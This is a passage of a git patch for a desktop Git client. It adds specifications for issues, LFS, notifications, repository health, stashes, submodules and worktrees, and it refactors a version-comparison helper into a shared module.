SHALL be able to open a file's history from the Changes tab, the History file list or the diff pane header menu. From a commit in file history the user SHALL be able to view the file as it was at that commit in a read-only viewer titled with the path and abbreviated SHA, blame the file at that commit, and restore that version to the working tree. Restore SHALL require confirmation and, when the file has uncommitted changes, SHALL offer to stash them first. + +#### Scenario: Open file history +- **WHEN** the user chooses "File history" on a file +- **THEN** the History tab switches to file history mode for that path + +#### Scenario: View file at commit +- **WHEN** the user chooses "View file at this commit" +- **THEN** a read-only view of the file content at that commit opens with a header naming the path and abbreviated SHA + +#### Scenario: Restore with uncommitted changes +- **WHEN** the user chooses "Restore this version" and the file has uncommitted changes +- **THEN** a confirmation offers to stash the current changes before the old content is written + +#### Scenario: Restore clean file +- **WHEN** the user confirms "Restore this version" for a file with no uncommitted changes +- **THEN** the working-tree file is overwritten with the historical content and appears as a change in the Changes tab + +### Requirement: Search history for selection +When text is selected in the diff pane, the user SHALL be able to search history for it from the context menu or a keyboard shortcut, which focuses the search box with a `content:` filter for the selection. + +#### Scenario: Search for selected text +- **WHEN** the user selects `computeTotal` in the diff and chooses "Search history for selection" +- **THEN** the History tab opens with `content:computeTotal` in the search box and results loading diff --git a/openspec/specs/issues/spec.md b/openspec/specs/issues/spec.md new file mode 100644 index 0000000..70494e2 --- /dev/null +++ b/openspec/specs/issues/spec.md @@ -0,0 +1,80 @@ +# issues Specification + +## Purpose +Lets users browse, filter, view, create and reference GitHub issues for the current repository without leaving the app, so commit messages and branch names can cite the right issue in one click. + +## Requirements + +### Requirement: Issues dialog lists and filters issues +The system SHALL provide an Issues dialog for the current repository, reachable from the Repository menu, a keyboard shortcut and the commit form, that lists issues with a free-text search and filters for state (open, closed, all), assigned to me, created by me, mentioned, labels and milestone. Filter choices MUST be remembered per repository across app restarts. + +#### Scenario: Filtered list loads +- **WHEN** the user opens the Issues dialog and enables the *Assigned to me* filter +- **THEN** the list shows only open issues assigned to the signed-in user, and the filter is still active the next time the dialog is opened for that repository + +#### Scenario: Empty filter result +- **WHEN** no issue matches the active filters +- **THEN** the list shows an empty state describing the active filter (for example *No open issues assigned to you*) rather than a blank pane + +#### Scenario: Loading more results +- **WHEN** the repository has more issues than the first page returned +- **THEN** the dialog offers a *Load more* action that appends older issues without duplicating those already shown + +### Requirement: Issue detail with comments and actions +The system SHALL show the selected issue's title, body, labels, assignees, milestone and its latest comments, with the body rendered as plain text with clickable links only. The detail view MUST offer Open on GitHub, Copy link, Copy `#N`, Reference in commit, Create branch for issue, Close or Reopen, and Comment. + +#### Scenario: Reference in commit +- **WHEN** the user clicks *Reference in commit* on issue 123 +- **THEN** the text `Fixes #123` (or `Refs #123` when chosen) is appended to the commit description in the Changes tab without replacing existing text + +#### Scenario: Create branch for issue +- **WHEN** the user clicks *Create branch for issue* on issue 123 titled "Fix login timeout" +- **THEN** the new-branch dialog opens pre-filled with `123-fix-login-timeout`, using only lowercase letters, digits and hyphens and at most 60 characters + +#### Scenario: Body is never rendered as HTML +- **WHEN** an issue body contains HTML or Markdown markup +- **THEN** the markup is shown as text with URLs turned into links, and no HTML is executed or rendered + +### Requirement: Close and reopen with confirmation +The system SHALL allow closing and reopening an issue from the detail view. Closing MUST ask for confirmation once, and the list MUST reflect the new state without a full reload. + +#### Scenario: Close an issue +- **WHEN** the user clicks *Close* and confirms +- **THEN** the issue is closed on GitHub and its row in the list updates to the closed state while other rows remain unchanged + +#### Scenario: Reopen an issue +- **WHEN** the user clicks *Reopen* on a closed issue +- **THEN** the issue is reopened on GitHub and the row updates to the open state + +### Requirement: Create issues from templates +The system SHALL let the user create an issue with a title, body, labels and assignees. When the repository has issue templates, the form MUST offer them in a dropdown and pre-fill title, body and labels from the chosen template. + +#### Scenario: Create with template +- **WHEN** the user picks the "Bug report" template, fills in the title and clicks *Create* +- **THEN** an issue is created on GitHub with the template body, its labels and the chosen assignees, and a toast links to the new issue + +#### Scenario: Template front matter parsed +- **WHEN** a template file declares `name`, `about`, `title` and `labels` in YAML front matter +- **THEN** the dropdown shows `name` and `about`, and selecting it pre-fills `title` and `labels`, with the front matter stripped from the body + +### Requirement: Degraded and error states +The system SHALL show an explanatory panel instead of an empty or broken list when issues are disabled on the repository, when the user is not signed in to GitHub, when the GitHub CLI is unavailable, or when the API is rate-limited. + +#### Scenario: Issues disabled on repository +- **WHEN** the repository has issues disabled +- **THEN** the dialog explains that issues are disabled and links to the repository settings page + +#### Scenario: Signed out +- **WHEN** the user is not signed in to GitHub +- **THEN** the dialog shows the same sign-in card used by the Pull Requests dialog + +#### Scenario: Rate limited +- **WHEN** GitHub returns a rate-limit error +- **THEN** the dialog shows the time the limit resets and pauses automatic list refreshes until then + +### Requirement: Fork handling +The system SHALL, when the current repository is a fork, offer a toggle to show the parent repository's issues, since issues normally live on the parent. + +#### Scenario: Fork toggle +- **WHEN** the repository is a fork and the user enables *Show parent repository issues* +- **THEN** the list and all actions target the parent repository's issues diff --git a/openspec/specs/lfs/spec.md b/openspec/specs/lfs/spec.md new file mode 100644 index 0000000..0aa2779 --- /dev/null +++ b/openspec/specs/lfs/spec.md @@ -0,0 +1,47 @@ +# lfs Specification + +## Purpose +Makes Git LFS visible and manageable inside the app: users can see which files are LFS pointers, whether LFS is installed and hooked, and fetch, pull, track or prune objects without the command line. + +## Requirements + +### Requirement: Detect LFS usage and installation +The system SHALL detect when a repository uses LFS (a `filter=lfs` attribute) and whether the LFS extension is installed. When the repository uses LFS and the extension is missing, the system MUST show a banner with platform-specific install instructions and disable LFS actions with the same hint. + +#### Scenario: LFS missing +- **WHEN** the repository's attributes use the LFS filter and `git lfs` is not installed +- **THEN** a banner explains that the repository uses Git LFS, which is not installed, with an install command for the current platform + +#### Scenario: LFS installed +- **WHEN** LFS is installed +- **THEN** the Git LFS dialog shows the version, whether hooks are installed, tracked patterns, tracked file count and local object size + +### Requirement: Pointer files are labelled +The system SHALL recognise LFS pointer files (content starting with the LFS pointer version line, with or without a trailing carriage return) in the Changes and History file lists and label them with an LFS chip. The diff pane MUST show an LFS summary with object size and the old and new object identifiers, and MUST render the image diff when both objects are present locally and are images. + +#### Scenario: Pointer changed +- **WHEN** a commit changes an LFS-tracked binary file +- **THEN** the file list shows the LFS chip and the diff pane shows the object size and both object identifiers instead of a binary placeholder + +#### Scenario: Image with local objects +- **WHEN** both versions of an LFS-tracked image are present locally +- **THEN** the diff pane shows the image diff modes used for regular images + +#### Scenario: Missing object +- **WHEN** a pointer file's object is not present locally +- **THEN** the diff pane offers *Download* which fetches that object and then displays the summary or image diff + +### Requirement: Manage LFS from a dialog +The system SHALL provide a Git LFS dialog with Install hooks, Track pattern, Untrack, Fetch all LFS objects, Pull LFS objects and Prune. Track and Untrack MUST update the attributes file and stage it. Prune MUST show the dry-run count and size and require confirmation before deleting. Fetch and pull MUST show progress and be cancellable. + +#### Scenario: Track a pattern +- **WHEN** the user tracks `*.psd` +- **THEN** the attributes file contains the LFS filter rule for `*.psd`, preserving its existing line endings, and the file is staged + +#### Scenario: Prune with confirmation +- **WHEN** the user clicks *Prune* +- **THEN** the dialog shows how many objects and bytes would be removed and deletes them only after the user confirms + +#### Scenario: Hooks missing +- **WHEN** LFS is installed but hooks are not installed for the repository +- **THEN** the status card warns that pushes would upload pointers only and offers *Install hooks* diff --git a/openspec/specs/notifications-inbox/spec.md b/openspec/specs/notifications-inbox/spec.md new file mode 100644 index 0000000..10b2dd7 --- /dev/null +++ b/openspec/specs/notifications-inbox/spec.md @@ -0,0 +1,98 @@ +# notifications-inbox Specification + +## Purpose +Gives users one in-app inbox for GitHub activity that needs their attention, such as review requests, failing checks and mentions, with badges and desktop alerts, so they do not have to keep the GitHub notifications page open. + +## Requirements + +### Requirement: Inbox panel with unread badge +The system SHALL show a bell in the toolbar with the count of unread GitHub notifications and open an Inbox panel listing notifications grouped by repository, newest first, each with a reason chip, title, actor, relative time and unread indicator. The panel MUST offer filters for all, review requests, failures, mentions, and only repositories present in the app. + +#### Scenario: New notification appears +- **WHEN** a new notification is created on GitHub for the signed-in user +- **THEN** within one poll interval the bell count increases and the item appears at the top of its repository group marked unread + +#### Scenario: Filter to failures +- **WHEN** the user selects the *Failures* filter +- **THEN** only notifications whose reason is a failed check are listed and the badge count is unchanged + +### Requirement: Polling respects server guidance and conserves quota +The system SHALL poll the notifications API no more often than the greater of the server-provided poll interval and the user's configured interval, MUST send conditional requests using the server's last-modified value, and MUST treat a not-modified response as no change. Polling MUST pause after 30 minutes without window focus and resume on focus. + +#### Scenario: Not modified +- **WHEN** the server responds that nothing changed since the last poll +- **THEN** the list, badge and cache are left untouched and no items are re-fetched + +#### Scenario: Server asks for a longer interval +- **WHEN** the server's poll-interval header is longer than the configured interval +- **THEN** the next poll is scheduled no sooner than the server's interval + +#### Scenario: Idle pause +- **WHEN** the window has not been focused for more than 30 minutes +- **THEN** polling stops until the window regains focus, at which point a poll runs immediately + +### Requirement: Open notifications in place +The system SHALL open a notification's subject inside the app when the repository is in the app's repository list and the subject is a pull request, otherwise in the browser. Opening an item MUST mark it read. + +#### Scenario: Pull request in a known repository +- **WHEN** the user clicks a review-request notification for a pull request in a repository that is in the app +- **THEN** the Pull Request dialog opens on that pull request and the notification is marked read + +#### Scenario: Subject in an unknown repository +- **WHEN** the user clicks a notification for a repository not in the app +- **THEN** the notification's web page opens in the browser and the notification is marked read + +### Requirement: Read, unsubscribe and bulk actions +The system SHALL let the user mark a notification read, unsubscribe from its thread, open it on GitHub, mark all notifications read, and refresh. Mark all read MUST ask for confirmation once, with an option to remember the choice. + +#### Scenario: Mark all read +- **WHEN** the user clicks *Mark all read* and confirms +- **THEN** GitHub records all notifications as read, every item loses its unread indicator and the badge shows zero + +#### Scenario: Unsubscribe +- **WHEN** the user unsubscribes from a thread +- **THEN** GitHub removes the subscription and the item is removed from the list + +### Requirement: Desktop notifications for enabled categories +The system SHALL send a desktop notification for each new inbox item whose category is enabled in settings, only while the window is unfocused. Clicking the desktop notification MUST focus the app and select the item. The first poll after a fresh install or a cache clear (i.e. one with no prior conditional-request cursor) MUST populate the panel and badge with the account's existing unread notifications but MUST NOT treat any of them as newly arrived for the purpose of desktop notifications. + +#### Scenario: Review request while unfocused +- **WHEN** a review request arrives, review-request desktop alerts are enabled and the window is not focused +- **THEN** a desktop notification is shown and clicking it focuses the app with the item selected in the Inbox panel + +#### Scenario: Category disabled +- **WHEN** a mention arrives and mention alerts are disabled +- **THEN** no desktop notification is shown, but the item still appears in the panel and badge + +#### Scenario: First sync after install or cache clear +- **WHEN** the very first notifications poll runs after install, sign-in, or *Clear inbox cache*, and the account already has unread GitHub notifications +- **THEN** those notifications appear in the panel and badge but no desktop notification is shown for any of them + +### Requirement: Badge on tray or dock +The system SHALL show the unread count as a taskbar overlay on Windows, a dock badge on macOS, and a launcher count on Linux where the desktop supports it, and clear it when the count is zero. + +#### Scenario: Count clears +- **WHEN** the last unread notification is marked read +- **THEN** the platform badge is removed + +### Requirement: Missing scope and degraded states +The system SHALL detect that the GitHub token lacks the `notifications` scope and offer a one-click scope refresh through the existing sign-in flow. When signed out, the bell MUST show a dot and open the sign-in card; when the GitHub CLI is unavailable the bell MUST be hidden; when rate-limited the panel MUST show the reset time and pause polling; when offline the last cached list MUST be shown with a stale timestamp. + +#### Scenario: Scope missing +- **WHEN** the token lacks the `notifications` (or `repo`) scope +- **THEN** the panel explains the missing scope and offers *Grant access*, which runs the device-flow sign-in requesting the scope and then polls successfully + +#### Scenario: Rate limited +- **WHEN** the notifications API returns a rate-limit error +- **THEN** the panel shows a banner with the reset time, the bell shows a paused marker, and no poll runs until that time + +#### Scenario: Offline +- **WHEN** the network is unavailable +- **THEN** the panel shows the cached items with a *Last updated* timestamp and a stale banner + +### Requirement: Cache privacy +The system SHALL cache notification items on disk only under the app's user-data directory and SHALL provide a *Clear inbox cache* action in Options → Advanced that deletes the cache. + +#### Scenario: Clear cache +- **WHEN** the user clicks *Clear inbox cache* +- **THEN** the cache file is deleted and the panel reloads from GitHub on the next poll diff --git a/openspec/specs/repo-health/spec.md b/openspec/specs/repo-health/spec.md new file mode 100644 index 0000000..342674c --- /dev/null +++ b/openspec/specs/repo-health/spec.md @@ -0,0 +1,92 @@ +# repo-health Specification + +## Purpose +Surfaces what makes a repository slow or risky, such as large blobs in history, stale branches and unpushed work, and offers explicitly confirmed clean-up actions with an undo path where git allows one. + +## Requirements + +### Requirement: Health view with independent cards +A Repository health view, reachable from the Repository menu, a keyboard shortcut and a card on the Welcome screen, SHALL show four cards (Large files, Stale branches, Unpushed work, Housekeeping) that load, fail and retry independently, each showing progress while loading and supporting cancellation. The view SHALL show a single empty state for a repository with no commits. + +#### Scenario: One card fails +- **WHEN** the large-files scan fails +- **THEN** that card shows the error with a Retry control while the other three cards show their results + +#### Scenario: Cancel a slow scan +- **WHEN** the user cancels the large-files scan while it is running +- **THEN** the card returns to its idle state and no partial results are shown as complete + +#### Scenario: Unborn repository +- **WHEN** the repository has no commits +- **THEN** the view shows one empty state instead of four cards + +### Requirement: Large files card +The Large files card SHALL list the 25 largest blobs across the whole history with path, size, the commit that first added it, whether it is still present at HEAD and whether it would have been an LFS pointer. Each row SHALL offer Copy path, Add pattern to .gitignore and, when LFS is installed, Track with LFS. Paths containing spaces MUST be shown intact. + +#### Scenario: Deleted large blob +- **WHEN** a 10 MB file was committed and later deleted +- **THEN** it appears in the card with its size, first commit and "not at HEAD" + +#### Scenario: Path with spaces +- **WHEN** a large blob's path contains spaces +- **THEN** the full path is displayed and copied correctly + +#### Scenario: LFS not installed +- **WHEN** git-lfs is not available +- **THEN** the Track with LFS action is hidden + +### Requirement: Stale branches card +The Stale branches card SHALL classify local branches as merged into the default branch, inactive for more than the configured number of days, or having a gone upstream, and SHALL list remote-tracking branches whose remote branch no longer exists. The current branch, the default branch and branches known to be protected MUST NOT be selectable for deletion. + +#### Scenario: Classification +- **WHEN** the repository has a merged branch, a branch with no commits in 120 days, and a branch whose upstream was deleted +- **THEN** each is listed with the matching reason + +#### Scenario: Protected rows +- **WHEN** the current or default branch would otherwise qualify as stale +- **THEN** it is shown without a selection checkbox + +### Requirement: Bulk branch deletion with undo +The user SHALL be able to select stale branches and delete them after a confirmation that lists each branch with its reason and tip commit, with an option, off by default, to also delete the remote branch. Failures SHALL be reported per branch without stopping the others. A toast after local deletion SHALL offer Undo, which recreates the deleted local branches at their recorded tips. + +#### Scenario: Delete selected +- **WHEN** the user selects three branches and confirms without the remote option +- **THEN** the three local branches are deleted, remote branches are untouched and the toast offers Undo + +#### Scenario: Partial failure +- **WHEN** one of the selected branches cannot be deleted +- **THEN** the others are deleted and the failure is reported for that branch by name + +#### Scenario: Undo +- **WHEN** the user clicks Undo within the toast's lifetime +- **THEN** the deleted local branches exist again at the same commits + +### Requirement: Unpushed work across repositories +The Unpushed work card and the Welcome screen card SHALL list, for every repository in the list that exists on disk, branches ahead of their upstream with the count, branches without an upstream, the number of stashes and the number of uncommitted changes. Clicking an entry SHALL open that repository on that branch. An opt-in indicator SHALL mark repository rows with unpushed work. Missing repositories SHALL be skipped. + +#### Scenario: Aggregate view +- **WHEN** repository A has a branch 2 ahead and repository B has an unpublished branch and one stash +- **THEN** both repositories are listed with those items + +#### Scenario: Navigate +- **WHEN** the user clicks the ahead branch of repository A +- **THEN** the app switches to repository A with that branch checked out or selected + +#### Scenario: Missing repository +- **WHEN** a listed repository's directory no longer exists +- **THEN** it is skipped without an error + +### Requirement: Housekeeping card +The Housekeeping card SHALL show the size of the git directory, loose object count, pack count and size, garbage count and the time of the last garbage collection, matching git's own object counts. It SHALL offer Run gc, Prune remotes and Expire reflog, each behind a two-step confirmation that explains what becomes unrecoverable, and all disabled while another operation is in progress. + +#### Scenario: Numbers match git +- **WHEN** the card loads +- **THEN** loose object and pack counts equal those reported by git's count-objects + +#### Scenario: Expire reflog +- **WHEN** the user confirms both steps of Expire reflog +- **THEN** the reflog is expired and the card reloads its numbers + +#### Scenario: Blocked during an operation +- **WHEN** a fetch, merge or rebase is in progress +- **THEN** the housekeeping actions are disabled diff --git a/openspec/specs/stash/spec.md b/openspec/specs/stash/spec.md index 2b86653..615c253 100644 --- a/openspec/specs/stash/spec.md +++ b/openspec/specs/stash/spec.md @@ -25,30 +25,80 @@ The user SHALL be able to stash all current changes from the Changes tab, includ - **THEN** the working tree becomes clean and a new stash appears in the stash list ### Requirement: Stash list -The Changes tab SHALL list every stash in the repository with its message, whether it was created by the app, and the branch it belongs to when known, with stashes for the current branch listed first. +A dedicated Stashes view, reachable from the Changes tab header (showing the stash count), the Repository menu and a keyboard shortcut, SHALL list every stash in the repository newest first with its message, branch when known ("Unknown branch" otherwise), relative date, an indicator when it was created by the app, and its file count. The list SHALL refresh when repository refs change, including stashes created or dropped outside the app. #### Scenario: Stashes from the terminal - **WHEN** a stash was created outside the app -- **THEN** it still appears in the list, marked as not created by the app +- **THEN** it appears in the view with its message and file count, marked as not created by the app, and with "Unknown branch" when the branch cannot be derived + +#### Scenario: Open the view +- **WHEN** the user clicks the Stashes button in the Changes tab header or presses the shortcut +- **THEN** the Stashes view opens with the newest stash listed first + +#### Scenario: Empty state +- **WHEN** the repository has no stashes +- **THEN** the view shows "No stashes" and a hint that files can be stashed from the Changes tab context menu ### Requirement: Inspect a stash -Selecting a stash SHALL list the files it contains and show the diff of a selected file against the stash's parent commit. +Selecting a stash SHALL list the files it contains, including untracked files carried by the stash, and selecting a file SHALL show its diff against the stash's parent commit. File lists SHALL be capped at 2,000 entries with a "Show more" control. #### Scenario: View stashed file -- **WHEN** the user selects a stash and one of its files +- **WHEN** the user selects a stash and one of its tracked files - **THEN** the diff pane shows the stashed changes for that file +#### Scenario: View untracked stashed file +- **WHEN** the user selects a stash that carries untracked files and picks one of them +- **THEN** the file is listed and its full content is shown as an added file + +#### Scenario: Selected stash disappears +- **WHEN** the selected stash is dropped from outside the app +- **THEN** the view returns to an empty selection without an error + ### Requirement: Restore and discard a stash -The user SHALL be able to apply a stash while keeping it, restore it (apply and drop), or discard it. Discarding SHALL ask for confirmation when the corresponding confirmation setting is on. A restore that conflicts SHALL keep the stash and start the conflict flow. +The user SHALL be able to apply a stash while keeping it, pop it (apply and drop), or drop it. Drop SHALL ask for confirmation when the corresponding confirmation setting is on, showing the message, branch and file count and stating that the stash cannot be recovered from the app. An apply or pop that conflicts SHALL keep the stash and start the conflict flow. Every stash action SHALL address the stash by its SHA and MUST fail with "Stash no longer exists" rather than act on a different entry when that SHA is gone. #### Scenario: Apply and keep -- **WHEN** the user chooses "Apply (keep stash)" +- **WHEN** the user chooses Apply - **THEN** the changes are applied to the working tree and the stash remains listed +#### Scenario: Pop +- **WHEN** the user chooses Pop and the changes apply cleanly +- **THEN** the changes are applied and the stash is removed from the list + #### Scenario: Restore with conflicts -- **WHEN** restoring a stash conflicts with the working tree +- **WHEN** popping or applying a stash conflicts with the working tree - **THEN** the conflict banner appears and the stash is still listed #### Scenario: Discard -- **WHEN** the user confirms "Discard stash" +- **WHEN** the user confirms the drop of a stash - **THEN** the stash is removed from the list + +#### Scenario: Drop after another drop +- **WHEN** the user drops stash A and then drops stash B, which was listed below A +- **THEN** exactly B is removed, even though its `stash@{N}` index changed after A was dropped + +#### Scenario: Drop a vanished stash +- **WHEN** the user drops a stash whose SHA is no longer in the stash list +- **THEN** the app reports "Stash no longer exists" and refreshes the list without dropping anything + +### Requirement: Create branch from stash +The user SHALL be able to create a new branch from a stash; the branch is created at the stash's parent commit, checked out with the stash applied, and the stash is removed. Failures because the branch exists or the working tree is dirty SHALL be reported with git's message. + +#### Scenario: Successful branch from stash +- **WHEN** the user enters a new branch name and confirms +- **THEN** the branch is checked out with the stashed changes uncommitted in the working tree and the stash is gone from the list + +#### Scenario: Branch already exists +- **WHEN** the entered branch name already exists +- **THEN** the error is shown and no stash is removed + +### Requirement: Stash selected files +When one or more files are selected in the Changes tab, the user SHALL be able to stash only those files with an optional message and an option to include untracked files; the rest of the working tree MUST remain untouched. + +#### Scenario: Stash a subset +- **WHEN** the user selects two of five changed files and confirms "Stash selected files" +- **THEN** a stash containing exactly those two files is created and the other three remain changed in the working tree + +#### Scenario: Cancel +- **WHEN** the user cancels the stash dialog +- **THEN** no stash is created and the working tree is unchanged diff --git a/openspec/specs/submodules/spec.md b/openspec/specs/submodules/spec.md new file mode 100644 index 0000000..6e7340f --- /dev/null +++ b/openspec/specs/submodules/spec.md @@ -0,0 +1,53 @@ +# submodules Specification + +## Purpose +Shows the state of every submodule in a repository and lets users initialize, update, sync and open them, so cloned repositories are never left with silently empty directories. + +## Requirements + +### Requirement: Submodules dialog lists state +The system SHALL provide a Submodules dialog from the Repository menu listing each submodule, including nested ones up to three levels, with its path, URL, recorded commit, checked-out commit and one of the states: up to date, not initialized, modified, differs from recorded, conflicted, missing. + +#### Scenario: Uninitialized submodule +- **WHEN** the repository has a submodule whose directory is empty +- **THEN** the dialog lists it as not initialized with its URL and recorded commit + +#### Scenario: Submodule moved to another commit +- **WHEN** a submodule's checked-out commit differs from the commit recorded in the superproject +- **THEN** the dialog lists it as differs from recorded, showing both commits + +#### Scenario: Relative URL +- **WHEN** a submodule URL is relative (for example `../lib.git`) +- **THEN** the dialog displays it resolved against the superproject's origin, without changing the stored configuration + +### Requirement: Initialize and update submodules +The system SHALL offer Initialize and update all, per-submodule Update, and Sync URLs. Updates MUST show transfer progress, be cancellable, and leave each updated submodule at its recorded commit. + +#### Scenario: Initialize all after clone +- **WHEN** the user clicks *Initialize and update all* +- **THEN** every submodule is checked out at its recorded commit, progress is shown while fetching, and the dialog states show up to date + +#### Scenario: Network failure +- **WHEN** a submodule update fails because the remote is unreachable +- **THEN** the classified network error is shown and other submodules' states are unaffected + +### Requirement: Post-clone banner +The system SHALL show a banner after cloning or opening a repository that has a `.gitmodules` file and at least one uninitialized submodule, offering to initialize and update all. + +#### Scenario: Banner appears +- **WHEN** a repository with uninitialized submodules is cloned +- **THEN** a banner offers *Initialize and update all* and disappears once no submodule is uninitialized + +### Requirement: Open submodule as repository +The system SHALL let the user open a submodule as its own repository in the repository list, nested under its parent, and show it in the file manager. + +#### Scenario: Open as repository +- **WHEN** the user clicks *Open as repository* on a submodule +- **THEN** the submodule appears in the repository list linked to its parent and becomes the current repository + +### Requirement: Submodule rows in Changes and diff pane +The system SHALL show submodule changes in the Changes tab with the diff pane's submodule summary, which MUST offer *Update to recorded commit* and *Open submodule*. + +#### Scenario: Update to recorded commit +- **WHEN** the user clicks *Update to recorded commit* on a modified submodule row +- **THEN** the submodule is checked out at the commit recorded in the current HEAD and the row disappears from Changes diff --git a/openspec/specs/worktrees/spec.md b/openspec/specs/worktrees/spec.md new file mode 100644 index 0000000..7f2d52c --- /dev/null +++ b/openspec/specs/worktrees/spec.md @@ -0,0 +1,84 @@ +# worktrees Specification + +## Purpose +Lets a user keep several branches of one repository checked out side by side as git worktrees, and manage them from the app without touching the terminal. + +## Requirements + +### Requirement: Worktree list +A Worktrees dialog, reachable from the Repository menu and a keyboard shortcut, SHALL list every worktree of the current repository including the main one, showing its path, its branch or detached commit, badges for main, locked (with the lock reason when present) and prunable entries, and whether it has uncommitted changes. The dialog SHALL have loading, empty ("This repository has no additional worktrees") and error-with-retry states. + +#### Scenario: List with mixed entries +- **WHEN** the repository has a main worktree, a worktree on a branch, a detached worktree and a locked worktree +- **THEN** all four are listed with the correct branch or commit and the correct badges + +#### Scenario: Prunable entry +- **WHEN** a worktree's directory has been deleted from disk +- **THEN** its row shows a prunable badge with git's reason + +### Requirement: Add a worktree +The user SHALL be able to add a worktree for an existing local or remote branch, for a new branch created from a chosen start point, or detached at a commit, choosing a directory that defaults to a sibling of the repository named after the repository and branch. On success the worktree SHALL be added to the repository list and opened. If the branch is already checked out in another worktree, the error SHALL say so and offer to open that worktree. + +#### Scenario: Existing branch +- **WHEN** the user picks an existing local branch and confirms +- **THEN** a worktree is created at the chosen directory on that branch and the app switches to it + +#### Scenario: New branch +- **WHEN** the user chooses "new branch", enters a name and a start point, and confirms +- **THEN** the branch is created at the start point and checked out in the new worktree + +#### Scenario: Detached +- **WHEN** the user chooses a commit to check out detached +- **THEN** the worktree is created with a detached HEAD at that commit + +#### Scenario: Branch in use elsewhere +- **WHEN** the chosen branch is already checked out in another worktree +- **THEN** the dialog reports that and offers "Open that worktree" + +### Requirement: Worktrees in the repository list +Worktrees SHALL appear in the repository list nested under their main repository, labelled with their branch name, each with its own ahead/behind indicator. Selecting one SHALL switch the app to that worktree with every view reflecting its working tree and branch. Removing the main repository from the list SHALL warn that its worktrees will be removed from the list too. + +#### Scenario: Switch between worktrees +- **WHEN** the user selects a nested worktree in the repository list +- **THEN** the Changes, History and Branches views show that worktree's state + +#### Scenario: Remove main repository +- **WHEN** the user removes a repository that has listed worktrees +- **THEN** the confirmation mentions the worktrees and they disappear from the list together with it + +### Requirement: Open, lock and unlock +From a worktree row the user SHALL be able to open it in the app, show it in the file manager, open it in the configured editor or terminal, and lock or unlock it with an optional reason. A locked worktree MUST NOT be removable until unlocked. + +#### Scenario: Open in editor +- **WHEN** the user chooses "Open in editor" on a worktree +- **THEN** the configured editor opens at that worktree's path + +#### Scenario: Locked removal blocked +- **WHEN** the user tries to remove a locked worktree +- **THEN** the Remove action is unavailable and the row indicates it must be unlocked first + +### Requirement: Remove and prune +Removing a worktree SHALL require confirmation stating that its directory will be deleted and not moved to the Recycle Bin. If the worktree has uncommitted changes, the confirmation SHALL show the number of changed files and require a second explicit confirmation before forcing the removal. Prune SHALL run only after a confirmation listing the entries that will be pruned. + +#### Scenario: Remove clean worktree +- **WHEN** the user confirms removal of a worktree with no changes +- **THEN** the directory is deleted, the entry disappears from the dialog and the repository list + +#### Scenario: Remove dirty worktree +- **WHEN** the worktree has uncommitted changes +- **THEN** the dialog shows the changed-file count and removal happens only after a second confirmation + +#### Scenario: Prune +- **WHEN** the user confirms Prune with two prunable entries listed +- **THEN** those entries are removed and the remaining worktrees are unaffected + +### Requirement: Branch checkout conflicts and cross-worktree refresh +Checking out a branch that is active in another worktree SHALL fail with a message naming that worktree and offer to open it. A commit or branch created in one worktree SHALL be reflected in the branch list of the other worktrees within the file watcher's polling interval. + +#### Scenario: Checkout blocked +- **WHEN** the user checks out a branch that another worktree has checked out +- **THEN** the error names the other worktree and offers to open it + +#### Scenario: Refresh across worktrees +- **WHEN** a branch is created in worktree A +- **THEN** worktree B's branch list shows it after the next watcher refresh From c3ac88da7b077e5172574d4f79065db2f94367d4 Mon Sep 17 00:00:00 2001 From: Erwin Wee Date: Thu, 1 Oct 2026 22:35:55 +0800 Subject: [PATCH 06/17] fix: gate sparse checkout and expose AI commit-message cancellation --- src/main/client.ts | 2 +- src/main/tools.ts | 3 +- src/main/update/update-core.ts | 39 +---------------- src/renderer/src/components/ChangesTab.tsx | 3 ++ .../src/components/dialogs/RepoDialogs.tsx | 7 +++- src/shared/util.ts | 42 +++++++++++++++++++ test/update-core.test.ts | 3 +- 7 files changed, 55 insertions(+), 44 deletions(-) diff --git a/src/main/client.ts b/src/main/client.ts index f141956..cbc47e7 100644 --- a/src/main/client.ts +++ b/src/main/client.ts @@ -3,6 +3,7 @@ import { join } from 'node:path'; import { clipboard, dialog, ipcMain, nativeTheme, Notification, shell, type BrowserWindow } from 'electron'; import { IPC_EVENT_CHANNEL, IPC_INVOKE_CHANNEL, type ApiMethods } from '@shared/ipc'; import type { InboxItem, InboxState, IpcResult } from '@shared/types'; +import { compareVersions } from '@shared/util'; import { appEntryUrl, isTrustedSender } from './app-url'; import { applyInboxBadge } from './badge'; import { ElectronHost } from './host/electron-host'; @@ -11,7 +12,6 @@ import { ensureManagedServer, readUnit } from './local-server'; import { log } from './logger'; import { refreshMenuShortcuts } from './menu'; import type { Store } from './store'; -import { compareVersions } from './update/update-core'; import type { Updater } from './update/updater'; /** diff --git a/src/main/tools.ts b/src/main/tools.ts index 1adbcf3..8ed874a 100644 --- a/src/main/tools.ts +++ b/src/main/tools.ts @@ -2,14 +2,13 @@ import { access, constants, stat } from 'node:fs/promises'; import { homedir } from 'node:os'; import { delimiter, join, normalize } from 'node:path'; import type { GhAccountEntry, GitHubAccount, ToolInfo, ToolsState } from '@shared/types'; -import { MIN_TOOL_VERSIONS } from '@shared/util'; +import { compareVersions, MIN_TOOL_VERSIONS } from '@shared/util'; import { repoScope } from './core/client-context'; import { exec } from './exec'; import { parseGhAuthStatus, primaryAccount } from './gh/accounts'; import { GitError } from './git/git'; import { log } from './logger'; import type { Store } from './store'; -import { compareVersions } from './update/update-core'; /** Marks `info` outdated (with the minimum) when its version is known and below `min`; never blocks. */ export function flagOutdated(info: ToolInfo, min: string): ToolInfo { diff --git a/src/main/update/update-core.ts b/src/main/update/update-core.ts index 8c314b1..17a01ff 100644 --- a/src/main/update/update-core.ts +++ b/src/main/update/update-core.ts @@ -6,49 +6,12 @@ * src/main/ai/review-core.ts). */ import type { OperationKind, UpdateChannel, UpdateState } from '@shared/types'; +import { compareVersions } from '@shared/util'; // --------------------------------------------------------------------------- // Semver comparison // --------------------------------------------------------------------------- -interface ParsedVersion { - parts: number[]; - prerelease: string | null; -} - -/** Strips a leading "v"/"V" (as in git tags like "v1.2.3") before parsing. */ -function parseVersion(raw: string): ParsedVersion { - const cleaned = raw.trim().replace(/^v/i, ''); - const [core, ...rest] = cleaned.split('-'); - const parts = core.split('.').map((p) => { - const n = parseInt(p, 10); - return Number.isFinite(n) ? n : 0; - }); - return { parts, prerelease: rest.length ? rest.join('-') : null }; -} - -/** - * Compares two version strings (with an optional leading "v" and an - * optional "-prerelease" suffix), returning -1/0/1 like Array.prototype.sort - * comparators. Numeric parts compare numerically (so "1.9.0" < "1.10.0"); - * a version with a prerelease suffix sorts before its release (per semver - * precedence rules), and otherwise prerelease suffixes compare 